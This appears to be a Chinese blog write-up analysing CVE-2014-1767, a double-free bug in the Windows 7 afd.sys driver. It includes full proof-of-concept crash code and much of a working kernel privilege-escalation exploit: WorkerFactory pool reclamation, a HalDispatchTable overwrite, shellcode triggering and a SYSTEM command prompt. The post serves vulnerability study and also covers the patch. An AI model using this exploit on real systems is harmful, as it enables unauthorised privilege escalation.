欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2014-1767

程序员文章站 2022-07-15 16:01:52
...

0x00:前言

这次分析一个内核漏洞,信息量有点大,有不对的地方欢迎指正,介绍一下这个漏洞吧,2014年“最佳提权漏洞奖”得主,影响力还是很大的,实验环境的一些文件我放到GitHub上了,需要的自行下载:https://github.com/ThunderJie/CVE/tree/master/CVE-2014-1767

0x01:实验环境

  • Windows 7 x86(虚拟机)
  • Windbg 10.0.17134.1 + virtualKD(双机调试)
  • Visual C++ 6.0(编译器)
  • IDA Pro(反汇编)
  • poc.exe
  • exp.exe

a.双机调试的环境如下:CVE-2014-1767

b.poc的生成(VC6.0下编译)

#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
   DWORD targetSize=0x310;
   DWORD virtualAddress=0x13371337;
   DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
   static DWORD inbuf1[100];
   memset(inbuf1,0,sizeof(inbuf1));
   inbuf1[6]=virtualAddress;
   inbuf1[7]=mdlSize;
   inbuf1[10]=1;
   static DWORD inbuf2[100];
   memset(inbuf2,0,sizeof(inbuf2));
   inbuf2[0]=1;
   inbuf2[1]=0x0AAAAAAA;
   WSADATA WSAData;
   SOCKET s;
   sockaddr_in sa;
   int ierr;
   WSAStartup(0x2,&WSAData);
   s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   memset(&sa,0,sizeof(sa));
   sa.sin_port=htons(135);
   sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
   sa.sin_family=AF_INET;
   ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
   static char outBuf[100];
   DWORD bytesRet;
   DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
   DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
   return 0;
}

0x02:漏洞原理

该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。

知识点

Double free,内核相关知识等等

0x03:漏洞分析

1.初步分析

调试运行poc得到以下报错,崩溃原因是重复释放了一块已经被释放了的内存:
CVE-2014-1767
调用堆栈信息:
CVE-2014-1767
我们可以得到如下函数的调用关系:

afd!AfdTransmitPackets->afd!AfdTliGetTpInfo->afd!AfdReturnTpInfo->nt!IoFreeMdl->nt!ExFreePoolWithTag->nt!KeBugCheck2

可以看到,出问题的是afd模块,我们查看afd模块详细信息:
CVE-2014-1767
得到以上分析后,我们需要搞清楚poc做了什么事情,首先初始化本地socket连接,然后发送了两次数据,poc一共调用了两次DeviceIoControl函数,向控制码0x1207F和0x120C3发送了数据,我们直接从这两次IO控制码分发函数入手。

2. 第一次调用分析(0x1207F)

我们首先针对nt!NtDeviceIoControlFile设置条件断点,当其在处理0x1207F时断下,根据官方文档,该函数的第六个参数是IO控制码,也就是esp+18,因此条件断点为:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x1207F){}.else{gc;}”

CVE-2014-1767

1)AfdTransmitFile 函数分析

断下来之后查看堆栈情况和调用情况:
CVE-2014-1767

可以使用wt命令跟踪后续函数调用过程,可以发现,当 IoControlCode=0x1207F 时,afd 驱动会调用 afd!AfdTransmitFile 函数,我们直接对这个函数进行分析,这里我们直接用IDA反编译Afd中的AfdTransmitFile函数,因为该函数有两个参数(pIRP和pIoStackLocation),我们将反编译的a1,a2改名为该参数,通过 IoStackLocation 我们就可以访问用户传递的数据了:
CVE-2014-1767
通过分析,我们想要调用AfdTliGetTpInfo函数,必须满足这三个条件:

(v54 & 0xFFFFFFC8) ==0
(v54 & 0x30) != 0x30
(v54 & 0x30) != 0

2)AfdTliGetTpInfo 函数分析

满足上面条件之后,程序会调用AfdTliGetTpInfo函数,TpInfoElementCount是这个函数的参数,该函数的返回值是一个指向TpInfo结构体的指针,根据对AfdTransmitFile剩余函数部分的分析,该结构体大致如下:

struct TpInfo 
{ 
	......
	TpInfoElement *pTpInfoElement ; // +0x20, TpInfoElement数组指针 
	......
	ULONG TpInfoElementCount;       // +0x28, TpInfoElement数组元素个数
	......
	ULONG AfdTransmitIoLength;      // +0x38, 传输的默认IO长度 
	......
}

struct TpInfoElement { 
	int status; 		    // +0x00, 状态码
	ULONG length ; 			// +0x04, 长度 
	PVOID VirtualAddress ; 	// +0x08, 虚拟地址 
	PVOID *pMdl ; 			// +0x0C, 指向MDL内存描述符表的指针 
	ULONG Reserved1 ; 		// +0x10, 未知
	ULONG Reserved2 ; 		// +0x14, 未知
} ;

用IDA反编译AfdTliGetTpInfo函数可以发现:
CVE-2014-1767
以上就是函数 AfdTliGetTpInfo, 函数会根据参数从一个 Lookaside List 中申请 TpInfo 结构体,函数中调用的ExAllocateFromNPagedLookasideList函数含义大致如下:

TpInfo* __stdcall ExAllocateFromNPagedLookasideList(PNPAGED_LOOKASIDE_LIST Lookaside) 
{ 
	*(Lookaside+0x0C) ++ ; 
	tpInfo = InterlockedPopEntrySList( Lookaside ) 
	if( tpInfo == NULL) 
	{ 
		*(Lookaside+0x10)++; 
		tpInfo = AfdAllocateTpInfo(NonPagedPool,0x108 ,0xc6646641) ;
	} 
	return tpInfo 
}

AfdInitializeTpInfo 是一个初始化数据 tpInfo 的函数,我们直接分析赋值部分:

AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)
{
	……
	tpInfo->pElemArray = tpInfo+0x90 
	tpInfo->elemCount = 0 
	tpInfo->isOuterMem = false
	……
}

根据上面的几个函数调用关系,我们可以大致分析的出来函数的调用顺序,经过以下调用,我们可以得到一个tpInfo结构体:

ExAllocateFromNPagedLookasideList->AfdAllocateTpInfo->AfdInitializeTpInfo

现在我们拿到结构体之后继续分析AfdTransmitFile函数剩余的一些部分:
CVE-2014-1767
MmProbeAndLockPages函数锁定的无效地址是Poc中设置的值,因此触发异常,调用AfdReturnTpInfo函数:
CVE-2014-1767
在AfdReturnTpInfo函数中,由于在释放MDL资源后,未对TpInfoElement+0xC指针清空,导致后面再次调用时将被IoFreeMdl函数用于释放内存,导致双重释放漏洞。
CVE-2014-1767

3. 第二次调用分析(0x120C3)

第二次追踪控制码,程序会调用afd!AfdTransmitPackets函数,我们继续下条件断点:

bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x120C3){}.else{gc;}”

CVE-2014-1767

afd!AfdTransmitPackets函数仍然有两个参数pIRP和pIoStackLocation,我们用IDA反编译查看分析,需要满足以下三个条件实现AfdTdiGetTpInfo函数:
CVE-2014-1767
Poc中设置inbuf2为0xAAAAAAA个TpInfoElement,一共占0x18*0xAAAAAAA = 0xFFFFFFF0,显然申请如此大内存会触发异常调用AfdReturnTpInfo函数
CVE-2014-1767

继续运行,该函数再次调用时会触发漏洞,导致系统蓝屏
CVE-2014-1767

0x04:漏洞利用

1.思路

思路是不可能有思路的,这里当然是选择参考分析大佬的思路:
[1]. 调用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
[2]. 创建某个对象,使得这个对象恰好占据刚才被 free 掉的空间,至此转化 double-free 为 use-after-free 问题
[3]. 调用 DeviceIoControl, IoControlCode =0x120c3,走入重复释放流程,释放掉刚才新申请的对象
[4]. 覆盖被释放掉的对象为可控数据(伪造对象)
[5]. 尝试调用能够操作此对象的函数,让函数通过操作我们刚刚覆盖的可控数据,实现一个内核内存写操作,这个写操作最理想的就是“任意地址写任意内容”,这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址,这样就可以劫持一个内核函数调用
[6]. 用户层触发刚刚被 Hook 的 HalDispatchTable 函数,使得内核执行 shellcode,达到提权的效果
简而言之,就是把double free玩成了UAF,实现一个内存的写,然后hook掉该函数

2.对象的选择

由于对象的大小要等于第一次free的大小,并且这个对象应该有这样一个操作函数,这个函数能够操作我们的恶意数据,使得我们间接实现任意地址写任意内容。第一次释放的大小通过逆向 IoAllocateMdl可以看出,MDL 对象的大小是由 virtualAddress 和 length 共同决定的,具体大小是:

pages = ((Length & 0xFFF) + (VirtualAddress & 0xFFF) + 0xFFF)>>12 + (length>>12) 
freedSize = mdlSize = pages*sizeof(PVOID) + 0x1C

对于操作函数Siberas团队使用的是WorkerFactory函数,位置是反编译下图的exe,IDA中的函数是sub_468875
CVE-2014-1767

我们找到关键的地方分析:
CVE-2014-1767
可以看到,当参数满足一定条件(arg2 == 8 && *arg3 !=0)时,我们可以达到一个任意地址写任意数据的目的:

*(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;

我们可以设置 :

arg3 = ShellCode 
*(*object+0x10)+0x1C =(HalDispatchTable+0x4)=HaliQuerySystemInformation

这样就可以将shellcode地址写入HaliQuerySystemInformation,供后续shellcode执行。
我们分析知道被释放的 MDL 属于 NonPagedPool,而用户空间的 VirtualAlloc 并没有能 力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据!这就又要采取类似使用 NtSetInformationWorkerFactory 的方法,找那样一个 Nt*系列函数,它的内部操作 能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool,并且还有能复制我们的数 据到它新申请的这个内存中去,说白了就是完成一次内核 Alloc 并且 memcpy 的操作,借助那篇 pdf 的思路,就是NtQueryEaFile 函数,下面是函数原型和关键的参数:
CVE-2014-1767
我们还是用IDA反编译看一下内容:
CVE-2014-1767

CVE-2014-1767
就是说内部会调用 :

p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, 0x20206F49) 
memcpy(p, EaList)

其中 EaLength 与 EaList 都是输入参数,用户可控。当ExAllocatePoolWithQuotaTag再次调用ExAllocatePoolWithTag,其长度值会再加上4,即实际上ExAllocatePoolWithQuoTag分配的长度是EaLength+4,在对释放对象内存进行占用时,应该将对象大小objectsize – 4,才能成功占用。

3. 确定WorkerFactory对象的大小

WorkerFactory占用空间的大小我们跟踪这条链:

NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject-> ExAllocatePoolWithTag

我们发现申请的内存大小是0xA0字节

4.exp的编写

这里借助会飞的猫大佬的exp,在VS2015,release版本下编译,提权成功,大佬的思路也非常清晰:
1)首先第一次释放前通过WorkerFactory对象的大小反推inbuf1的Length参数,并设置好inbuf2的值

DWORD targetSize = 0xA0;
	DWORD virtualAddress = 0x13371337;
	DWORD Length = ((targetSize - 0x1C) / 4 - (virtualAddress % 4 ? 1 : 0)) * 0x1000;


	static DWORD inbuf1[100];
	memset(inbuf1, 0, sizeof(inbuf1));
	inbuf1[6] = virtualAddress;
	inbuf1[7] = Length;


	static DWORD inbuf2[100];
	memset(inbuf2, 0, sizeof(inbuf2));
	inbuf2[0] = 1;
	inbuf2[1] = 0x0AAAAAAA;

2)创建一个Workerfactory对象

//Create a Workerfactory object to occupy the free Mdl pool
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4);
DWORD Exploit;
status = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, &Exploit, NULL, 0, 0, 0);
if (!NT_SUCCESS(status))
{
	printf("NtCreateWorkerFactory fail!Error:%d\n", GetLastError());
	return -1;
}

3)第一次释放

DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);

4)第二次释放

DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);

5)伪造对象并拷贝shellcode执行

int MyNtSetInformationWorkerFactory()
{
	DWORD* tem = (DWORD*)malloc(0x20);
	memset(tem, 'A', 0x20);
	tem[0] = (DWORD)shellcode;

	NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, 0x8, tem, 0x4);
	return 0;
}

6)用户模式触发,系统权限调用cmd

//Trigger from user mode
	ULONG temp = 0;
	status = NtQueryIntervalProfile(2, &temp);
	if (!NT_SUCCESS(status))
	{
		printf("NtQueryIntervalProfile fail!Error:%d\n", GetLastError());
		return -1;
	}
	printf("done!\n");
	//Sleep(000);
	//Create a new cmd process with current token
	printf("Creating a new cmd...\n");
	CreatNewCmd();

5.利用成功

CVE-2014-1767

0x05:补丁分析

在win10下,调用IoFreeMdl函数之前会对TpInfoElementCount的值进行一系列的判断从而避免该漏洞的产生
CVE-2014-1767

0x06:总结

这个漏洞分析起来很麻烦,涉及的东西也很多,要有耐心才能分析的出来,从漏洞利用的思路,别人的exp编写来看,大牛确实厉害,自己的路还很长,希望自己有一天也能写出这样的exp来 。
参考资料:
https://www.jianshu.com/p/6b01cfa41f0c
https://www.cnblogs.com/flycat-2016/p/5450275.html
https://bbs.pediy.com/thread-194457.htm

上一篇: CVE2020-7471

下一篇: CVE-2018-8120

推荐阅读